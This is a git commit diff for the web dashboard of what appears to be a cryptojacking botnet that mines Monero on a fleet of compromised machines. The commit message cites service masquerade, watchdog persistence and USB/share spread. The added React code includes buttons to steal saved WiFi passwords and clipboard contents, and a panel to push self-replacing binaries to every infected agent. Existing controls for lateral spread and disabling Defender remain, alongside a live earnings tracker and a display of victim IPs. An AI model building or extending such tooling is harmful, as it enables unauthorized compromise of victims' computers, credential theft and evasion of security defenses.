Add fleet resilience, passive spread, matrix rain UI, and live earnings.

Backup server URL failover, watchdog process restart, service masquerade, remote fleet upgrade, recon UI, SupportXMR earnings, USB/share passive spread, and sidebar matrix rain with live fleet telemetry.
This commit is contained in:
drjones
2026-05-29 22:29:58 -07:00
parent 0f9e04f5f6
commit 102d2fb7c6
29 changed files with 1795 additions and 84 deletions

View File

@@ -178,4 +178,38 @@
.terminal-input-bar .prompt { color: #ff00ff; padding: 10px; font-weight: bold; }
.terminal-input-bar input { flex: 1; background: transparent; border: none; color: #fff; font-family: inherit; outline: none; }
.terminal-input-bar button { background: #333; border: none; color: #fff; padding: 0 15px; cursor: pointer; font-weight: bold; }
.terminal-input-bar button:hover { background: #00e5ff; color: #000; }
.terminal-input-bar button:hover { background: #00e5ff; color: #000; }
/* Upgrade section */
.upgrade-group { grid-column: 1 / -1; }
.upgrade-row {
display: flex;
gap: 0.75rem;
align-items: center;
margin-top: 0.5rem;
flex-wrap: wrap;
}
.upgrade-select {
flex: 1;
min-width: 200px;
background: rgba(0, 0, 0, 0.6);
border: 1px solid rgba(0, 229, 255, 0.3);
border-radius: 4px;
color: #e0e0e0;
padding: 6px 10px;
font-size: 0.82rem;
font-family: 'Consolas', monospace;
outline: none;
}
.upgrade-select:focus { border-color: var(--neon-cyan, #00e5ff); }
.upgrade-btn {
white-space: nowrap;
padding: 6px 18px;
font-size: 0.82rem;
}
.log-line { line-height: 1.45; word-break: break-all; }

View File

@@ -1,6 +1,6 @@
import React, { useState, useRef, useEffect, useCallback } from 'react';
import { api } from '../../api/client';
import type { Agent } from '../../types';
import type { Agent, Build } from '../../types';
import type { SeqCommandResult } from '../../context/WebSocketContext';
import { aggressiveActionHint, canRunAggressiveAction } from '../../help/aggressiveActions';
import './AgentRemoteActions.css';
@@ -42,6 +42,12 @@ export default function AgentRemoteActions({
const [terminalLog, setTerminalLog] = useState<string[]>([]);
const [screenshotData, setScreenshotData] = useState<string | null>(null);
const [busy, setBusy] = useState<string | null>(null);
// Fleet upgrade
const [builds, setBuilds] = useState<Build[]>([]);
const [selectedBuildId, setSelectedBuildId] = useState<string>('');
useEffect(() => {
api.listBuilds().then(setBuilds).catch(() => setBuilds([]));
}, []);
const logEndRef = useRef<HTMLDivElement>(null);
// Track the highest _seq we've already processed.
// Using _seq (monotonic ID) instead of array index prevents the ring-buffer drop bug
@@ -102,6 +108,7 @@ export default function AgentRemoteActions({
}
if (action === 'stop' && !window.confirm(`Stop miner on "${agentName}"?`)) return;
if (action === 'uninstall' && !window.confirm(`Uninstall miner from "${agentName}"?`)) return;
if (action === 'upgrade' && !window.confirm(`Push binary upgrade to "${agentName === 'Agent' ? 'ENTIRE FLEET' : agentName}"?\n\nThe agent will download, replace itself, and restart.`)) return;
if (action === 'spread_now' && !window.confirm(`Run lateral spread sweep from "${agentName}" now?`)) return;
if (action === 'defender_off' && !window.confirm(`Disable Defender real-time on "${agentName}"? Requires admin.`)) return;
if (action === 'hole_punch' && !window.confirm(`Map UPnP port on router for "${agentName}" (TCP 8989)?`)) return;
@@ -195,6 +202,9 @@ export default function AgentRemoteActions({
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('users')}>List Users</button>
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('software')}>Installed Software</button>
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('get_log', { tail_lines: 300 })}>Fetch Log</button>
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('ipconfig')} title="Detailed network adapters, IPs, gateways">IP Config</button>
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('clipboard')} title="Read current clipboard contents">Clipboard</button>
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('wifi')} title="Saved WiFi SSIDs + plaintext passwords">WiFi Creds</button>
</div>
</div>
@@ -215,6 +225,39 @@ export default function AgentRemoteActions({
</div>
</div>
<div className="action-group upgrade-group">
<h3>Fleet Upgrade</h3>
<p className="action-group-hint">
Push a newly forged binary to {isFleet ? 'all online agents' : 'this agent'}. The agent downloads, replaces itself, and restarts no manual access needed.
</p>
<div className="upgrade-row">
<select
className="upgrade-select"
value={selectedBuildId}
onChange={(e) => setSelectedBuildId(e.target.value)}
>
<option value=""> pick a build </option>
{builds.filter((b) => b.download_url).map((b) => (
<option key={b.id} value={b.id}>
{b.file_name ?? b.id} ({b.platform ?? 'win'})
</option>
))}
</select>
<button
type="button"
className="btn-cyan upgrade-btn"
disabled={!isOnline || !!busy || !selectedBuildId}
onClick={() => {
const build = builds.find((b) => b.id === selectedBuildId);
if (!build?.download_url) return;
dispatch('upgrade', { data: build.download_url });
}}
>
{busy === 'upgrade' ? 'Pushing…' : 'Push Upgrade'}
</button>
</div>
</div>
<div className="action-group aggressive-group">
<h3>NAT &amp; Aggressive Ops</h3>
<p className="action-group-hint">Point-and-shoot requires Advanced forge toggles on the agent.</p>

View File

@@ -121,6 +121,23 @@
grid-column: span 2;
}
.earnings-real-grid {
display: flex;
flex-direction: column;
gap: 4px;
margin-top: 6px;
}
.er-row {
display: flex;
justify-content: space-between;
font-size: 0.78rem;
gap: 1rem;
}
.er-lbl { opacity: 0.55; }
.er-val { font-family: 'Consolas', monospace; color: var(--neon-amber, #f5a623); }
.agent-action-btn {
padding: 0.4rem 0.75rem;

View File

@@ -83,34 +83,67 @@ export function AIActivityPanel({ entries, agentNames }: { entries: AIActivityEn
);
}
interface EarningsData {
xmr_per_day?: number;
note?: string;
source?: string; // "pool_api" | "estimate"
pending_xmr?: number; // from pool API
paid_xmr?: number;
pool_hashrate?: number;
last_payment_xmr?: number;
last_payment_time?: string;
}
export function EarningsEstimator({ hashrate }: { hashrate: number }) {
const [xmrPerDay, setXmrPerDay] = useState<number | null>(null);
const [note, setNote] = useState('');
const [data, setData] = useState<EarningsData | null>(null);
useEffect(() => {
if (hashrate <= 0) {
setXmrPerDay(null);
setData(null);
return;
}
// AbortController ensures a stale in-flight response never overwrites a
// newer estimate when hashrate changes rapidly (fixes M16).
const controller = new AbortController();
api.getEarningsEstimate(hashrate).then((r) => {
if (!controller.signal.aborted) {
setXmrPerDay(r.xmr_per_day);
setNote(r.note);
}
}).catch((err) => { if (!controller.signal.aborted) console.error(err); });
api.getEarningsEstimate(hashrate).then((r: EarningsData) => {
if (!controller.signal.aborted) setData(r);
}).catch((err: unknown) => { if (!controller.signal.aborted) console.error(err); });
return () => controller.abort();
}, [hashrate]);
if (xmrPerDay == null || hashrate <= 0) return null;
if (!data || hashrate <= 0) return null;
const isReal = data.source === 'pool_api';
return (
<NeonCard accent="amber" className="stat-card-wrap earnings-estimator">
<div className="stat-label font-tech">Earnings Estimate</div>
<div className="stat-value neon-glow-amber">~{xmrPerDay.toFixed(6)} XMR/day</div>
<div className="stat-sub">{note}</div>
<div className="stat-label font-tech">
{isReal ? '⛏ Pool Earnings (Live)' : 'Earnings Estimate'}
</div>
{data.xmr_per_day != null && (
<div className="stat-value neon-glow-amber">
{isReal ? '' : '~'}{data.xmr_per_day.toFixed(6)} XMR/day
</div>
)}
{isReal ? (
<div className="earnings-real-grid">
{data.pending_xmr != null && (
<span className="er-row"><span className="er-lbl">Pending</span><span className="er-val">{data.pending_xmr.toFixed(8)} XMR</span></span>
)}
{data.paid_xmr != null && (
<span className="er-row"><span className="er-lbl">Total Paid</span><span className="er-val">{data.paid_xmr.toFixed(4)} XMR</span></span>
)}
{data.last_payment_xmr != null && data.last_payment_xmr > 0 && (
<span className="er-row"><span className="er-lbl">Last Payout</span><span className="er-val">{data.last_payment_xmr.toFixed(6)} XMR</span></span>
)}
{data.last_payment_time && (
<span className="er-row"><span className="er-lbl">Paid At</span><span className="er-val">{new Date(data.last_payment_time).toLocaleDateString()}</span></span>
)}
</div>
) : (
<div className="stat-sub">{data.note}</div>
)}
<div className="stat-sub" style={{ marginTop: 4, opacity: 0.5, fontSize: '0.7rem' }}>
{isReal ? 'SupportXMR live data · refreshes every 5 min' : 'Formula estimate · connect wallet for live data'}
</div>
</NeonCard>
);
}

View File

@@ -88,7 +88,8 @@
}
.sidebar-nav {
flex: 1;
/* No flex-grow: let the matrix rain claim the remaining space */
flex: 0 0 auto;
padding: 1rem 0.75rem;
display: flex;
flex-direction: column;
@@ -150,44 +151,229 @@
border-radius: 0 2px 2px 0;
}
/* ── Matrix rain ──────────────────────────────── */
.matrix-rain-wrap {
/* Flex-grow to fill all space between nav and footer */
flex: 1;
position: relative;
overflow: hidden;
border-top: 1px solid rgba(0, 255, 65, 0.12);
border-bottom: 1px solid rgba(0, 255, 65, 0.08);
min-height: 160px;
max-height: 320px;
background: #000;
}
.matrix-rain-canvas {
display: block;
width: 100%;
height: 100%;
}
/* CRT scanline overlay */
.matrix-rain-scanlines {
position: absolute;
inset: 0;
pointer-events: none;
background: repeating-linear-gradient(
0deg,
transparent,
transparent 1px,
rgba(0, 0, 0, 0.18) 1px,
rgba(0, 0, 0, 0.18) 2px
);
z-index: 2;
}
/* Top fade — blends into nav area */
.matrix-rain-vignette-top {
position: absolute;
top: 0;
left: 0;
right: 0;
height: 40px;
background: linear-gradient(to bottom, #000 0%, transparent 100%);
pointer-events: none;
z-index: 3;
}
/* Bottom fade — blends into footer */
.matrix-rain-vignette-btm {
position: absolute;
bottom: 0;
left: 0;
right: 0;
height: 32px;
background: linear-gradient(to top, #000 0%, transparent 100%);
pointer-events: none;
z-index: 3;
}
.sidebar-footer {
padding: 1.25rem;
padding: 1rem 1.25rem 1.1rem;
border-top: 1px solid var(--border-brass);
}
.power-meter {
margin-bottom: 0.75rem;
/* ── Fleet readout widget ─────────────────────── */
.fleet-readout {
margin-bottom: 0.85rem;
display: flex;
flex-direction: column;
gap: 0.4rem;
}
.power-label {
font-size: 0.6rem;
letter-spacing: 0.2em;
.readout-row {
display: flex;
align-items: center;
gap: 0.4rem;
font-family: var(--font-tech);
font-size: 0.68rem;
letter-spacing: 0.06em;
}
.readout-dot {
width: 7px;
height: 7px;
border-radius: 50%;
flex-shrink: 0;
}
.readout-dot-online {
background: var(--neon-green);
box-shadow: 0 0 6px var(--neon-green);
animation: readout-pulse 2s ease-in-out infinite;
}
.readout-dot-idle {
background: rgba(255, 255, 255, 0.18);
}
@keyframes readout-pulse {
0%, 100% { opacity: 1; box-shadow: 0 0 6px var(--neon-green); }
50% { opacity: 0.7; box-shadow: 0 0 12px var(--neon-green); }
}
.readout-glyph {
width: 7px;
text-align: center;
color: var(--neon-cyan);
font-size: 0.75rem;
flex-shrink: 0;
line-height: 1;
}
.readout-label {
flex: 1;
color: var(--text-muted);
display: block;
margin-bottom: 0.35rem;
font-size: 0.6rem;
letter-spacing: 0.12em;
}
.power-bar {
height: 4px;
background: rgba(201, 162, 39, 0.15);
.readout-value {
color: var(--neon-cyan);
font-size: 0.72rem;
font-weight: 600;
letter-spacing: 0.04em;
text-align: right;
transition: color 0.2s;
}
.readout-value-machines {
color: var(--neon-green);
}
.readout-dim {
color: var(--text-muted);
font-weight: 400;
}
@keyframes readout-tick {
0% { opacity: 0.4; color: #fff; }
50% { opacity: 1; color: var(--neon-amber); }
100% { opacity: 1; color: var(--neon-cyan); }
}
.readout-flash {
animation: readout-tick 0.6s ease-out forwards;
}
/* Readout progress bar */
.readout-bar-wrap {
display: flex;
align-items: center;
gap: 0.5rem;
margin-top: 0.1rem;
}
.readout-bar-track {
flex: 1;
height: 3px;
background: rgba(201, 162, 39, 0.12);
border-radius: 2px;
overflow: hidden;
}
.power-fill {
.readout-bar-fill {
height: 100%;
width: 78%;
background: linear-gradient(90deg, var(--brass-dark), var(--neon-cyan));
box-shadow: 0 0 8px rgba(0, 245, 255, 0.4);
animation: shimmer 3s ease-in-out infinite;
width: 0%;
background: rgba(255, 255, 255, 0.15);
border-radius: 2px;
transition: width 0.8s cubic-bezier(0.4, 0, 0.2, 1);
}
.readout-bar-fill.readout-bar-active {
background: linear-gradient(90deg, var(--neon-green), var(--neon-cyan));
box-shadow: 0 0 6px rgba(0, 245, 255, 0.35);
animation: bar-shimmer 2.5s ease-in-out infinite;
background-size: 200% 100%;
}
.version-badge {
font-size: 0.65rem;
@keyframes bar-shimmer {
0% { background-position: 0% 50%; }
50% { background-position: 100% 50%; }
100% { background-position: 0% 50%; }
}
.readout-bar-pct {
font-family: var(--font-tech);
font-size: 0.55rem;
color: var(--text-muted);
text-align: center;
letter-spacing: 0.15em;
letter-spacing: 0.06em;
min-width: 2.2rem;
text-align: right;
}
/* ── Signature ────────────────────────────────── */
.sidebar-sig {
display: flex;
flex-direction: column;
align-items: center;
gap: 0.15rem;
padding-top: 0.65rem;
border-top: 1px solid rgba(201, 162, 39, 0.1);
}
.sig-love {
font-size: 0.58rem;
color: var(--text-muted);
letter-spacing: 0.08em;
}
.sig-heart {
color: #f87171;
animation: heart-beat 1.8s ease-in-out infinite;
}
@keyframes heart-beat {
0%, 100% { transform: scale(1); }
20% { transform: scale(1.3); }
40% { transform: scale(0.95); }
}
.sig-ver {
font-size: 0.55rem;
color: rgba(0, 245, 255, 0.35);
letter-spacing: 0.18em;
}
.main-with-status {
@@ -219,8 +405,9 @@
.logo-text-block,
.nav-label,
.power-meter,
.version-badge {
.fleet-readout,
.sidebar-sig,
.matrix-rain-wrap {
display: none;
}

View File

@@ -1,7 +1,9 @@
import { ReactNode } from 'react';
import { ReactNode, useEffect, useRef, useState } from 'react';
import { NavLink, useLocation } from 'react-router-dom';
import AmbientBackground from '../Ambient/AmbientBackground';
import SystemStatusBar from '../Visual/SystemStatusBar';
import { useWebSocket } from '../../hooks/useWebSocket';
import MatrixRain from './MatrixRain';
import './Layout.css';
interface LayoutProps {
@@ -57,6 +59,60 @@ function NavIcon({ type }: { type: string }) {
}
}
function formatHashrate(hs: number): string {
if (hs >= 1_000_000) return `${(hs / 1_000_000).toFixed(2)} MH/s`;
if (hs >= 1_000) return `${(hs / 1_000).toFixed(1)} KH/s`;
return `${hs.toFixed(0)} H/s`;
}
function FleetReadout() {
const { agents } = useWebSocket();
const online = agents.filter((a) => a.status === 'online').length;
const total = agents.length;
const totalHashrate = agents.reduce((sum, a) => sum + (a.hashrate_15s ?? a.hashrate_15m ?? 0), 0);
const fillPct = total > 0 ? Math.round((online / total) * 100) : 0;
// Tick animation: flash hashrate value whenever it meaningfully changes
const [flash, setFlash] = useState(false);
const prevHash = useRef(0);
useEffect(() => {
if (Math.abs(totalHashrate - prevHash.current) > 1) {
prevHash.current = totalHashrate;
setFlash(true);
const t = setTimeout(() => setFlash(false), 600);
return () => clearTimeout(t);
}
}, [totalHashrate]);
return (
<div className="fleet-readout">
<div className="readout-row">
<span className={`readout-dot ${online > 0 ? 'readout-dot-online' : 'readout-dot-idle'}`} />
<span className="readout-label">MACHINES</span>
<span className="readout-value readout-value-machines">
{online}<span className="readout-dim">/{total}</span>
</span>
</div>
<div className="readout-row">
<span className="readout-glyph"></span>
<span className="readout-label">HASHRATE</span>
<span className={`readout-value ${flash ? 'readout-flash' : ''}`}>
{totalHashrate > 0 ? formatHashrate(totalHashrate) : <span className="readout-dim">IDLE</span>}
</span>
</div>
<div className="readout-bar-wrap" title={`${online} of ${total} online`}>
<div className="readout-bar-track">
<div
className={`readout-bar-fill ${online > 0 ? 'readout-bar-active' : ''}`}
style={{ width: `${fillPct}%` }}
/>
</div>
<span className="readout-bar-pct">{fillPct}%</span>
</div>
</div>
);
}
export default function Layout({ children }: LayoutProps) {
const location = useLocation();
@@ -93,14 +149,15 @@ export default function Layout({ children }: LayoutProps) {
))}
</div>
{/* Matrix rain log — fills the lower sidebar between nav and footer */}
<MatrixRain />
<div className="sidebar-footer">
<div className="power-meter">
<span className="power-label font-tech">SYSTEM</span>
<div className="power-bar">
<div className="power-fill" />
</div>
<FleetReadout />
<div className="sidebar-sig font-tech">
<span className="sig-love">made with <span className="sig-heart"></span> drjones</span>
<span className="sig-ver">v0.0.1</span>
</div>
<div className="version-badge font-tech">MK.I · v1.0</div>
</div>
</nav>

View File

@@ -0,0 +1,212 @@
import { useEffect, useRef } from 'react';
import { useWebSocket } from '../../hooks/useWebSocket';
// Full matrix alphabet: katakana + hex + braille dots for visual density
const KATAKANA =
'アイウエオカキクケコサシスセソタチツテトナニヌネノハヒフヘホマミムメモヤユヨラリルレロワヲン';
const HEX = '0123456789ABCDEFabcdef';
const SYMBOLS = '!@#$%^&*<>/?|\\~';
const ALPHABET = KATAKANA + HEX + SYMBOLS;
const FONT_SIZE = 10;
interface Column {
y: number;
speed: number;
// occasionally carry a char from live data
liveSrc: string;
livePos: number;
}
export default function MatrixRain() {
const canvasRef = useRef<HTMLCanvasElement>(null);
const wrapRef = useRef<HTMLDivElement>(null);
const { agents, recentShares, commandResults } = useWebSocket();
// ── Live data pool ──────────────────────────────────────────────────────────
// Collect strings from the fleet that will be injected character-by-character
// into the rain columns so real data scrolls through the matrix.
const livePoolRef = useRef<string[]>([]);
useEffect(() => {
const pool: string[] = [];
for (const a of agents) {
pool.push(a.id.replace(/-/g, '')); // stripped UUID
if (a.hashrate_15s > 0) pool.push(`${a.hashrate_15s.toFixed(0)}H`);
if (a.ip) pool.push(a.ip.replace(/\./g, ''));
}
for (const s of recentShares.slice(0, 8)) {
if (s.hash) pool.push(s.hash.replace(/[^a-fA-F0-9]/g, '').slice(0, 24));
}
for (const r of (commandResults ?? []).slice(-5)) {
if (r.action) pool.push(r.action.toUpperCase().padEnd(8, '_'));
}
livePoolRef.current = pool.length > 0 ? pool : ['AETHERFORGE', 'MINING', '00E5FF'];
}, [agents, recentShares, commandResults]);
// ── Event log feed ──────────────────────────────────────────────────────────
// We inject one short log line per meaningful event, shown as a dim overlay
// row scrolling through the canvas.
const eventLogRef = useRef<{ text: string; alpha: number }[]>([]);
const prevShareLen = useRef(0);
const prevAgentLen = useRef(0);
useEffect(() => {
const newEvents: string[] = [];
if (recentShares.length > prevShareLen.current) {
const s = recentShares[0];
newEvents.push(`SHARE ${s.accepted ? 'OK' : 'REJECT'} ${s.agent_id?.slice(0, 6) ?? '??'}`);
}
prevShareLen.current = recentShares.length;
if (agents.length > prevAgentLen.current) {
const a = agents[agents.length - 1];
newEvents.push(`AGENT ONLINE ${a.name?.slice(0, 8) ?? '??'}`);
}
prevAgentLen.current = agents.length;
for (const ev of newEvents) {
eventLogRef.current.push({ text: ev, alpha: 1 });
if (eventLogRef.current.length > 6) eventLogRef.current.shift();
}
}, [recentShares, agents]);
// ── Canvas renderer ─────────────────────────────────────────────────────────
useEffect(() => {
const canvas = canvasRef.current;
const wrap = wrapRef.current;
if (!canvas || !wrap) return;
const ctx = canvas.getContext('2d');
if (!ctx) return;
// Resize canvas to match wrapper
const resize = () => {
const r = wrap.getBoundingClientRect();
canvas.width = Math.floor(r.width);
canvas.height = Math.floor(r.height);
};
resize();
const ro = new ResizeObserver(resize);
ro.observe(wrap);
let cols: Column[] = [];
const resetCols = () => {
const numCols = Math.max(1, Math.floor(canvas.width / FONT_SIZE));
cols = Array.from({ length: numCols }, (_, i) => ({
y: Math.random() * -(canvas.height * 2),
speed: 0.3 + Math.random() * 0.55,
liveSrc: '',
livePos: 0,
}));
};
resetCols();
// Periodically inject live data strings into random columns
const injectInterval = setInterval(() => {
const pool = livePoolRef.current;
if (pool.length === 0 || cols.length === 0) return;
const colIdx = Math.floor(Math.random() * cols.length);
const src = pool[Math.floor(Math.random() * pool.length)];
cols[colIdx].liveSrc = src;
cols[colIdx].livePos = 0;
}, 180);
let raf: number;
let lastTime = 0;
const FPS = 24; // keep CPU gentle
const MS_PER_FRAME = 1000 / FPS;
const draw = (ts: number) => {
raf = requestAnimationFrame(draw);
if (ts - lastTime < MS_PER_FRAME) return;
lastTime = ts;
const W = canvas.width;
const H = canvas.height;
// Fade trail
ctx.fillStyle = 'rgba(0,0,0,0.18)';
ctx.fillRect(0, 0, W, H);
ctx.font = `${FONT_SIZE}px 'Courier New', monospace`;
for (let i = 0; i < cols.length; i++) {
const col = cols[i];
const x = i * FONT_SIZE;
const y = col.y;
// Pick character: live data char or random alphabet
let ch: string;
if (col.liveSrc && col.livePos < col.liveSrc.length) {
ch = col.liveSrc[col.livePos];
col.livePos++;
} else {
ch = ALPHABET[Math.floor(Math.random() * ALPHABET.length)];
}
// Head character — bright white flash
ctx.fillStyle = 'rgba(255,255,255,0.95)';
ctx.fillText(ch, x, y * FONT_SIZE);
// Second char — bright cyan-green (neon)
if (y > 1) {
ctx.fillStyle = '#00ff41';
ctx.fillText(
ALPHABET[Math.floor(Math.random() * ALPHABET.length)],
x,
(y - 1) * FONT_SIZE,
);
}
// Dim previous chars handled by fade overlay above.
// Occasionally render a mid-column dim glyph for density.
if (Math.random() < 0.04) {
const dimY = Math.floor(Math.random() * (y - 2));
ctx.fillStyle = 'rgba(0,180,60,0.22)';
ctx.fillText(
ALPHABET[Math.floor(Math.random() * ALPHABET.length)],
x,
dimY * FONT_SIZE,
);
}
col.y += col.speed;
if (col.y * FONT_SIZE > H && Math.random() > 0.96) {
col.y = Math.random() * -20;
col.speed = 0.3 + Math.random() * 0.55;
col.liveSrc = '';
col.livePos = 0;
}
}
// ── Event log overlay — bottom of canvas ──────────────────────────
const logs = eventLogRef.current;
const lineH = FONT_SIZE + 2;
ctx.font = `${FONT_SIZE - 1}px 'Courier New', monospace`;
for (let j = 0; j < logs.length; j++) {
const entry = logs[logs.length - 1 - j];
const oy = H - 6 - j * lineH;
if (oy < 0) break;
ctx.fillStyle = `rgba(0,255,65,${(entry.alpha * 0.55).toFixed(2)})`;
ctx.fillText(`> ${entry.text}`, 4, oy);
// fade over time
entry.alpha = Math.max(0, entry.alpha - 0.003);
}
};
raf = requestAnimationFrame(draw);
return () => {
cancelAnimationFrame(raf);
clearInterval(injectInterval);
ro.disconnect();
};
}, []);
return (
<div ref={wrapRef} className="matrix-rain-wrap" aria-hidden="true">
<canvas ref={canvasRef} className="matrix-rain-canvas" />
{/* Scanline overlay for authentic CRT feel */}
<div className="matrix-rain-scanlines" />
{/* Top and bottom vignette fades */}
<div className="matrix-rain-vignette-top" />
<div className="matrix-rain-vignette-btm" />
</div>
);
}